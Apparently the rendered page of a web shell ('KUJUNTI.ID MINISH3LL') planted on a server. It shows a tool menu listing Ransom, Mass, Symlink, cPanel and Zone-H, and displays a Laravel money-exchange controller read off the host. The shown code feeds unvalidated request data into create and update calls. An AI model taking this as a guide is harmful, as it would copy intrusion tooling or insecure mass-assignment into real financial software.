KUJUNTI.ID MINISH3LL
Path : /var/www/html/moneyexchange/app/Http/Controllers/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/moneyexchange/app/Http/Controllers/MoneyExchangeListController.php


<?php

namespace App\Http\Controllers;
use Illuminate\Support\Facades\Auth;
use Illuminate\Http\Request;
use App\Models\MoneyExchangeList;
use App\Models\MoneyExchangeRate;
use App\Models\Currency;
use App\Models\BankAccount;
use App\Models\User;
use App\Http\Controllers\Controller;

// use Illuminate\Support\Facades\Mail;
// use App\Mail\MoneyExchangeListMail;
class MoneyExchangeListController extends Controller
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('auth');
        
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Http\Response
     */

    public function store(Request $request)
    {
        $datas = $request->all();
        $datas['user_id'] = Auth::id();
        $moneyExchangeList = MoneyExchangeList::create($datas);        
        $currencies = Currency::all();
        $users = User::all();
        foreach($currencies as $index =>$currency) {
            foreach($users as $user){
                BankAccount::create([
                    'bank_id' => 1,
                    'currency_id' => $currency->id,
                    'bank_username' => $user->name.'-'.$currency->name,
                    'bank_number'=>0 ,
                    'user_id' =>Auth::id(), 
                    'credit'=>0,
                    'is_bank'=>false,
                    'responsible_by_user_id' => $user->id,
                    'is_active' => true
                ]);
            }
        }
        return redirect()->route('money-exchange-lists.index')->with('success', __('message.money exchange list').' '.__('message.created successfully'));
    }

    public function index(Request $request)
    {   
        $perpage = $request->get('perpage')??25;
        $moneyExchangeLists = MoneyExchangeList::orderBy('order')->paginate($perpage);
        return view('moneyExchangeList.moneyExchangeListList', ['moneyExchangeLists'=> $moneyExchangeLists,'perpage'=>$perpage]);
    }

    public function create()
    {
        // $money-exchange-lists = MoneyExchangeList::all();
        $currencies = Currency::all();
        return view('moneyExchangeList.moneyExchangeListForm' , ['currencies'=>$currencies]);
    }

    public function edit($id)
    {
        $moneyExchangeList = MoneyExchangeList:: where("id", $id)->first();
        $currencies = Currency::all();
        return view('moneyExchangeList.moneyExchangeListForm', ['moneyExchangeList'=> $moneyExchangeList,'currencies'=> $currencies]);
    }

    public function update(Request $request, $id)
    {
        $moneyExchangeList = MoneyExchangeList::findOrFail($id);
        $datas = $request->all();
        $moneyExchangeList->update($datas);

        $currencies = Currency::all();
        $users = User::all();
        foreach($currencies as $index =>$currency) {
            foreach($users as $user){
                $backAccountCheck=  BankAccount::where('currency_id',$currency->id)->where('responsible_by_user_id',$user->id)->count();
                if(!$backAccountCheck){
                    BankAccount::create([
                        'bank_id' => 1,
                        'currency_id' => $currency->id,
                        'bank_username' => $user->name.'-'.$currency->name,
                        'bank_number'=>0 ,
                        'user_id' =>Auth::id(), 
                        'credit'=>0,
                        'is_bank'=>false,
                        'responsible_by_user_id' => $user->id,
                        'is_active' => true
                    ]);
                }
            }
        }
        return redirect()->route('money-exchange-lists.index')->with('success', __('message.money exchange list').' '.__('message.updated successfully'));
    }

    public function destroy($id)
    {
        $moneyExchangeList = MoneyExchangeList::findOrFail($id);
        if(count($moneyExchangeList->transactions)){
            return redirect()->route('money-exchange-lists.index')->with('error', __('message.money exchange list').' '.__("message.can't delete"));
        }
        $moneyExchangeList->delete();

        return redirect()->route('money-exchange-lists.index')->with('success', __('message.money exchange list').' '.__('message.deleted successfully'));
    }

    public function show(Request $request){
        return redirect()->route('money-exchange-lists.index');
    }
 
    public function rateCreate($id)
    {
        $moneyExchangeList = MoneyExchangeList::where('is_active', true)->findOrFail($id);
        return view('moneyExchangeList.changeRateForm' , ['moneyExchangeList'=>$moneyExchangeList]);
    }
    public function rateStore($moneyExchangeListId, Request $request)
    {
        $datas = $request->all();
        $datas['user_id'] = Auth::id();
        $datas['money_exchange_list_id'] = $moneyExchangeListId;
        $moneyExchangeList = MoneyExchangeList::where('is_active', true)->findOrFail($moneyExchangeListId);
        MoneyExchangeRate::create($datas);

        $moneyExchangeList->current_rate = $datas['exchange_rate'];
        $moneyExchangeList->save();

        return redirect()->route('money-exchange-lists.index')->with('success', __('message.money exchange rate').' '.__('message.updated successfully'));
    }
    public function rateHistory($moneyExchangeListId, Request $request)
    {
        $perpage = $request->get('perpage')??25;
        $moneyExchangeRates = MoneyExchangeRate::where('money_exchange_list_id', $moneyExchangeListId)->orderBy('created_at', 'desc')->paginate($perpage);
        return view('moneyExchangeList.rateHistory' , ['moneyExchangeRates'=>$moneyExchangeRates,'perpage'=>$perpage]);
    }
}

© KUJUNTI.ID